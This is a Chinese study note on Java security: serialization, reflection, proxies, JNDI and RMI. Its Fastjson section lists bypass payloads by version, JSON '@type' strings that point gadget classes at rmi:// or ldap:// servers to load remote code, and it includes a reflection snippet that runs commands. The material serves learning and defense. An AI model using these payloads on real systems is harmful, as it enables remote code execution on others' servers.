一、JAVA安全
1.1 java的序列化和反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程ObjectOutputStream类的 writeObject() 方法可以实现序列化
Java 反序列化是指把字节序列恢复为 Java 对象的过程ObjectInputStream 类的 readObject() 方法用于反序列化。
1、序列化:将数据结构或者对象转换成字节流。
2、反序列化:将字节流恢复到原来的状态。
3、能反序列化的类必须继承Serializable接口。
4、什么是java反序列化漏洞?
客户端将服务端的某个对象进行序列化,服务端接受到序列化之后的数据在反序列化的时候触发了该对象的object方法中的一些危险逻辑代码。
5、反序列化在理论上只能去恢复对象,并控制他的字段值。但是如果要想造成额外的逻辑,需要配合一定的代码条件
6、java在进行反序列化的过程中,要是能够触发恶意代码,比较依赖于object函数(作用相当于php的魔术方法)。
1.2 浅析Java序列化和反序列化
https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#经典的apache-commons-collections
1.3 Java反序列化的防御方式
1、升级java版本。
2、使用黑白名单限制能够反序列化的类。
3、禁止 JVM 执行外部命令 Runtime.exec。通过扩展 SecurityManager 可以实现。
1.4 PHP序列化和java序列化
1、结果不同
PHP序列化的结果就是一串字符,人为可以构造。
java序列化的结果是二进制串。
2、php的在序列化和反序列化的时候,开发者并不能控制他序列化的内容。
java在反序列化的时候,可以插入一些自定义的数据,然后通过readObject方法去读取。
3、php反序列化漏洞的根本原因不是在序列化和反序列化的过程中触发漏洞,而是在反序列化之后可以控制对象的属性,进而触发一些危险的代码(通常是析构函数、魔术方法中)。
java是在反序列化的过程中,触发漏洞。根本原因就是可以控制反序列化的内容。
1.5 Java classloader加载过程
1、加载
: 加载阶段既可以使用系统提供的加载器,也可以用户自定义类加载器来完成类的加载。
类的二进制字节流将按照JVM所需的格式存储在方法区中。
产生class对象。
2、链接
3、初始化阶段
初始化阶段才开始真正执行java代码。
https://mp.weixin.qq.com/s?__biz=MzI3MDE0NzYwNA==&mid=2651443305&idx=2&sn=0bbc6042ec6c0641f9a6e0b57ee146ef&chksm=f128f912c65f7004a847a600168a2393ad3d98e6131386a73459a2eaa7a5001fbf27647ac770&mpshare=1&scene=23&srcid=04279rhOvZ2uAVzmdtdqwDaF&sharer_sharetime=1619532417932&sharer_shareid=f11ed98102758401aa5143f997cb1287#rd
1.6 CC链的分析
https://xz.aliyun.com/t/9409https://paper.seebug.org/1242/
Java中的命令执行
1、Runtime类
该类的exec
方法可以执行命令。
Runtime.getRuntime().exec("ifconfig")
该类是一个单例模式的类,具有私有的构造函数,无法直接 new
生成一个对象,需要调用类中的公共方法获取一个类对象,然后执行命令。
public static Runtime getRuntime() {return currentRuntime;}
执行exec方法之后,进而调用ProcessBuilder类的start方法。
然后start方法调用了ProcessImpl的start方法。
2、ProcessBuilder类的start方法
3、ProcessImpl类
该类的构造函数也是私有的,无法直接new一个对象。而且也没有函数去生成一个类。所以需要使用反射的来触发命令。
总结:
InputStream in = new ProcessBuilder("whoami").start().getInputStream();
InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
String[] cmds = new String[]{"whoami"};
Class clazz = Class.forName("java.lang.ProcessImpl");Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
二、Java反射
1、运行期间,直接可以调用某个类的方法,而无需知道某个类的具体实例。一般来说使用某个类的方法或者属性,需要使用new关键字去生成一个实际例子,而反射不用。
2、反射常用的方式,比如Runtime类。
Runtime类,只有一个私有的构造函数,无法直接去生成一个类,需要先调用类中的公共方法来获取一个对象。
http://tengj.top/2016/04/28/javareflect/
三、Java代理
3.1 静态代理
1、静态代理需要一个委托类也就是原始类和一个代理类,代理类对原始类进行功能扩充。
2、如果接口增加方法,委托对象和代理对象都需要改变。
3.2 动态代理
1、运行时动态代理,代理类不需要实现接口,但是原始类需要接口。
2、代理类需要继承InvocationHandler类,并重写invoke方法。
3、需要测试类来运行代理类,测试类需要使用Proxy类。
动态代理与静态代理的区别:
动态代理不是去直接实现接口的类,而是使用Proxy.newProxyInstance()方法创建一个接口对象。
常用类:Proxy类、InvocationHandler类。
1、java代理可以更好的隐藏委托类,实现解耦。如果需要增加功能不需要去修改原始的类,只需要修改代理类即可。
代理方式:静态代理、动态代理、cglib代理。
通过代理模式,可以在不修改原对象的方法、属性等情况下,扩充原对象的功能。
四、Javafastjosn漏洞
什么是autotype功能?
允许用户在反序列化数据中通过"@type"指定反序列化的Class类型,如果开启这功能,攻击者可以指定恶意的类,在进行反序列化的时候,自动调用set、get方法来触发恶意命令。
https://blog.csdn.net/hosaos/article/details/106982555
1、主要使用阿里巴巴开发的开源库fastjson,作用是将json对象与java对象进行序列化与反序列化的转化。
2、两个主要方法:toJsonString和toparseObject。
3、在反序列化的时候可以指定type的值,parseObject方法能够触发type所指定的类的set和get方法。反序列化需要调用对应参数的setter、getter方法来恢复数据。
可以看到通过指定type的值为固定类,在反序列化的时候调用了对应set方法。如果set方法具有恶意代码,可以传入相应参数触发漏洞。
@type可以指定反序列化成服务器上的任意类
然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)
get、set方法并不是随便调用的需要符合一下条件:
set方法
:
get方法
:
4、在源代码中关于set和get方法的具体调用的逻辑在JavaBeanInfo中的build函数。
使用反射获取类的信息
然后分别判断set和get方法,最后返回JavaBeanInfo对象。
5、那么具体的set、get方法在哪里调用呢?
在com.alibaba.fastjson.parser.deserializer.FieldDeserializer调用set方法。
6、两条利用链:JdbcRowSetImpl和Templateslmpl。
JdbcRowSetImpl
:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
@type:目标反序列化类名;
dataSourceName:RMI注册中心绑定恶意服务;
autoCommit:调用setAutoCommit方法,利用lookup方法加载远程对象。
JdbcRowSetImpl类调用了connect方法,在connect方法中使用了lookup方法,其中的参数我们可以控制所以造成了jndi注入。
成功获取到rmi服务
而aa名称在rmi服务端对应的是Reference类生成的对象,客户端请求时如果对象是Reference或者该类的子类,会采用工厂模式,那么客户端在获取对象的时候可以从其他服务器上加载class文件。在构造Reference对象的时候,可以构造恶意class对象的地址,当客户端本地找不到相应的类时,会去请求远程class对象,进造成恶意代码执行。
利用方式有:
-
jdni+rmi
-
jdni+ladp
【限制条件】:
jndi注入和ladp注入具有限制条件:
Oracle JDK 6u132、JDK 7u122、JDK 8u113 之后,com.sun.jndi.rmi.object.trustURLCodebase 属性的默认值被调整为false。 属性默认为false时不允许远程加载类。
Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性默认为false时不允许远程加载类。
其实在fastjson的这个利用链中也是利用了能够执行set函数这一特点,主要利用了setDataSourceName、setAutoCommit两个函数,只不过在poc中给这几个函数传入了对应参数值。
所以poc
也可以如下:
import com.sun.rowset.JdbcRowSetImpl;public class CLIENT {public static void main(String[] args) throws Exception {JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uriJdbcRowSetImpl_inc.setAutoCommit(true);}}
Templateslmpl
:
构造恶意类,fastjson会调用恶意类的构造函数执行恶意命令。
在fastjson中并不是所有类的所有get、set方法都会被调用,get、set方法都必须符合某些要求。
该利用链比较苛刻,条件如下:
服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField);
5、JdbcRowSetImpl利用链的绕过。
在该链中主要利用了jndi注入,但是java版本对其有限制。
jdk1.8.0_161 < 1.8u191可以使用ldap注入。
https://xz.aliyun.com/t/8979#toc-3
6、fastjson各版本的问题
1.2.24版本漏洞产生原因:
官方修复的具体方向:
@type属性主要是指定反序列化的类,然后调用对应的set、get方法,所以官方会去采用黑名单白名单限制加载某些恶意类。
🎈1.2.25-1.2.41 绕过
之前会对@type对应的类进行加载。现在会将值ref传入checkAutoType方法中,从1.2.25之后使用checkAutoType函数进行白名单黑名单验证。
该版本的限制策略
- 配置参数AutoTypeSupport,默认为false,表示默认开启白名单。
- 黑白名单限制。
在AutoTypeSupport为True的时候会关闭白名单,可以使用一下方式绕过:
在checkAutoType函数中,使用黑白名单进行过滤,然后在loadClass函数中进行判断,判断[的位置,以及是否以L开头或者;结尾。
可以看到在判断是否以L
或者;
结尾之后,将 L 和;去掉,重新加载类。
构造payload
绕过:
"{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
🎈1.2.42 绕过与修复
黑名单的类不能看见,但是通过哈希碰撞来得出黑名单中的类。将payload中的L和;去掉,但是只去掉了一次,我们可以双写绕过。
poc:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true}
🎈1.2.43绕过与修复
如果检测到之前的绕过方式直接会抛出异常。
🎈1.2.45 绕过与修复
黑名单绕过
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
黑名单是不可靠的,因为以后可能会还出现具有漏洞的类,jdk,jar。
🎈1.2.25 - 1.2.47 绕过与修复
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/refObj","autoCommit":true}
}
具体原理
在DefaultJSONNParser类中调用checkAutoType,通过java.lang.class绕过黑名单。给StrVal参数赋值,也就是变成JdbcRowSetImpl类,然后通过TypeUtils.loadClass类进行加载。最后导致jdni注入。当缓存中存在指定类当时候可以不接受函数检查。
🎈1.2.62
org.apache.xbean.propertyeditor.JndiConverter类的toObjectImpl()函数存在JNDI注入漏洞,可由其构造函数处触发利用。
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://localhost:1389/Exploit"}
🎈1.2.66
涉及多条Gadget链,原理都是存在JDNI注入漏洞。
org.apache.shiro.realm.jndi.JndiRealmFactory类PoC
:
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}
br.com.anteros.dbcp.AnterosDBCPConfig类PoC
:
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC
:
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}
https://www.anquanke.com/post/id/232774#h3-6https://blog.csdn.net/hosaos/article/details/106982555https://patrilic.top/2020/03/14/Fastjson =< 1.2.47 反序列化漏洞分析/#0x02-漏洞分析https://drops.blbana.cc/2020/04/16/Fastjson历史补丁Bypass分析/#版本1-2-68https://blog.csdn.net/hosaos/article/details/106982555
那些FastJson漏洞不为人知的事情(开发角度)
https://www.freebuf.com/articles/web/258827.html
浅蓝师傅的博客
https://b1ue.cn/archives/184.html
五、Java的JNDI
1、JNDI主要是用来引用资源,通过一个名称可以引用对象或者服务,可以用来引用数据库配置文件,类似于实现解耦操作。也可以说提供一个映射或者关联。
2、具体用法就是通过lookup传递一个参数,来获取对象的对象或者服务。如果参数可控,可以造成jndi注入。
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");
3、jndi注入可以配合rmi服务来进行,当jndi的lookup去引用一个rmi服务端的References或者他的子类,在References类中有三个参数,其中两个参数可以指定远程加载的类名以及class文件的地址,当本地不存在该class的时候,会从指定的url中获取class文件,进而进行类的动态加载,导致恶意class文件中的代理执行。
4、在进行jdni注入的时候存在java版本的限制。在jdk8u121之后,通过设置系统变量com.sun.jndi.rmi.object.trustURLCodebae为falset,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。
jndi注入可以配合rmi服务,也可以配合LDAP服务。两者的区别就是lookup的参数不同。
分别是:rmi://
和ladp://
。
java官方分别对着两种注入方式做限制。分别使用com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.ldap.object.trustURLCodebase两个属性对其进行限制,默认值变为false,使其不能加载外部的class。即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
否则会出现这种错误:
切换版本之后成功执行命令:
JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191
https://www.smi1e.top/java代码审计学习之jndi注入/
六、Java的rmi
1、java远程方法调用,一个jvm虚拟机可以调用另一个虚拟机的中的对象和方法。java对象的具体实现由服务端来操作,客户端只需调用对应的方法,输入相应的参数即可,调用。
2、客户端与服务端在行传递的时候是通过序列化和反序列化进行传递的。java虚拟机之间的通信所遵循的协议是jrmp协议,也就是类似于http协议。
3、在rmi中,客户端和服务端并不是真正的直接通信,客户端通过存根sub进行代理而服务端通过Skeleton进行代理。服务端并不是把远程对象直接传递给客户端,而是传递了一个远程对象的引用,也就是sub。sub包含了远程对象的信息以及服务端的地址等信息。sub是通过register注册表来获取的。
客户端使用lookup获取存根。
4、关于注册表的运行,有两种方式:
直接exe文件运行。
直接编程语言运行。
5、常用的方法
【服务端】:
需要一个接口A实现该Remote接口。
一个远程对象的实现类B继承UnicastRemoteObject类,并实现接口A。在该类中重写接口A中的方法。
一个测试类C创建register服务并绑定端口,然后将对应的类对象绑定到对应的名称。
【客户端】:
通过Naming.lookup找到对应的对象实例。
获取实例之后可以调用实例的方法。
rmi注册表:
注册表,提供一个映射关系,客户端通过名称向注册表查询,得到名称对应对远程对象。
远程对象:存在于服务端供客户端调用,远程对象的实现类必须继承UnicastRemoteObject类,必须实现Remote接口。只有在远程接口中声明的函数才能被远程调用,其他对象只能在本地虚拟机中调用。
域名⏩DNS⏩IP⏩目标机器。
远程对象的标识符⏩注册表(register rmi)⏩远程对象的引用⏩目标对象。
register rmi可以在服务端注册,也可以单独的在别的服务器注册,对应的端口是1099。对应的服务端客户端可以使用getRegistry函数。
服务端使用getRegistry函数来获取远程对象 Registry 的引用,然后把当前对象的存根发送到注册表中,以供客户端使用。
6、三者之间的关系
服务端向注册中心注册远程对象(通过一个名称与远程对象进行绑定)。
客户端向注册中心查询远程对象(也是通过一个名称查询远程对象)。
注册中心返回给客户端一个远程对象引用也就是sub。
客户端通过sub来调用远程对象的方法。
7、rmi的动态类加载
rmi不光可以绑定本地类对象,也可以绑定远程类对象。客户端在获取rmi服务端提供的类对象时,如果服务端本地无对应类对象,可以从远程服务获取对应的class文件,进而进行类加载。 远程URL地址是通过 java.rmi.server.codebase 属性去设置的。
【客户端】
:服务端返回给客户端是类的实例,而客户端本地是没有具体的代码,客户端会从服务端指定的java.rmi.server.codebase加载对应class文件。
【服务端】
:服务端同理,也会从客户端指定的java.rmi.server.codebase加载对应的class文件。
要想加载class文件,必须符合两种方法:
1、由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要开启RMI SecurityManager并且配置java.security.policy,这在后面的代码示例中可以看到。
2、属性 java.rmi.server.useCodebaseOnly 的值必须为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止JVM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
https://blog.csdn.net/bigtree_3721/article/details/50614289
七、RMI的安全问题
7.1 反序列化与序列化
1、客户端攻击RMI服务端。
原理
:
服务端存在一个类实现了Serializable接口,并具有Object方法,在Object方法中具有恶意代码。
流程
:
客户端获取到远程对象之后,调用远程对象到方法,客户端写一个与服务端包名,类名相同的类并继承普通类,把恶意payload当作参数传递。在执行代码的时候触发了服务端反序列化进而在导致服务端执行恶意payload。
注意
:
服务端的反序列化类的serialVersionUID与客户端的类需要保持一致。
2、服务端攻击客户端。
7.2 类的动态加载机制
如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
1、客户端攻击服务端。
2、服务端攻击客户端。
总体来说在使用某个类的时候,优先加载本地的class文件,本地没有对应的class文件,所以会去指定的url加载远程的类。所以就要控制一个方法返回一个目标不存在的类,进而导致目标去远程加载类。
服务端对应的路径:
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
要求:
1、由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要开启RMI SecurityManager并且配置java.security.policy,这在后面的代码示例中可以看到。
2、属性 java.rmi.server.useCodebaseOnly 的值必须为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止JVM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
7.3 攻击注册中心
与注册中心交互的几种方法:
1、list
2、bind
3、rebind
4、rebind
5、lookup
当调用bind和rebind时,会用readObject读出参数名以及远程对象。所以可以构造一个恶意远程对象来注册到注册中心。
https://paper.seebug.org/1251/#_8https://paper.seebug.org/1194/https://xz.aliyun.com/t/7900#toc-10https://medium.com/@m01e/https-www-youtube-com-watch-v-tiojkiiklyu-t-21s-4229845bde85https://blog.csdn.net/bigtree_3721/article/details/50614289http://wjlshare.com/archives/1522https://xz.aliyun.com/t/7264https://blog.csdn.net/lmy86263/article/details/72594760?utm_source=app&app_version=4.5.8https://xz.aliyun.com/u/9272
客户端
做的事情
1、获取远程对象,并调用远程对象方法。
服务端
做的事情
1、定义继承Remote接口的接口
2、定义远程对象,并实现远程对象的具体方法。
3、注册Registry服务并绑定固定端口。
4、将远程对象与指定名称绑定,以供客户端使用。
7.4 RMI注册表
1、RMIRegistry也是远程对象。
2、服务端向注册表注册远程对象。
regist.bind("demo",rmiIstance);
3、客户端向注册表查询某个远程对象。
RMIServer.RMIinterface rm=(RMIServer.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/demo");
7.5 传输的数据类型
1、基本数据类型
2、对象
3、如果是对象相应的类必须实现Serializable接口,并且客户端的serialVersionUID字段要与服务器端保持一致。
4、任何可以被远程调用的方法的对象必须实现remote接口,并且远程对象的实现类必须继承UnicastRemoteObject方法。
7.6 RMI远程调用逻辑
客户端与服务端并不是直接通信,客户端通过一个sub存根来与服务端进行通信。
1、客户端通过sub进行代理。
2、服务端通过skeleton进行代理。
7.7 RMI服务端类动态加载
服务端返回某个对象的实例的时候,客户端可能没有对应类的class文件。客户端可以通过url下载web服务上的class文件,进行类的动态下载。
在rmi进行数据传递的时候,使用序列化进行传递,但是序列化只是序列化数据,只是传递数据,但是真正的逻辑代码是没有传递过去。所以rmi提供codebase来取回类代码。
JNDI References
1、RMI服务端主要是进行对象绑定,一般只能绑定本地的对象,还可以通过References类来绑定一个外部的远程对象。
2、但是高版本的java对加载远程对象具有限制。
通过设定trustCodebaseURL,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。
https://www.smi1e.top/java代码审计学习之jndi注入/
https://paper.seebug.org/1091/#jndi
原创 摆烂的beizeng 土拨鼠的安全屋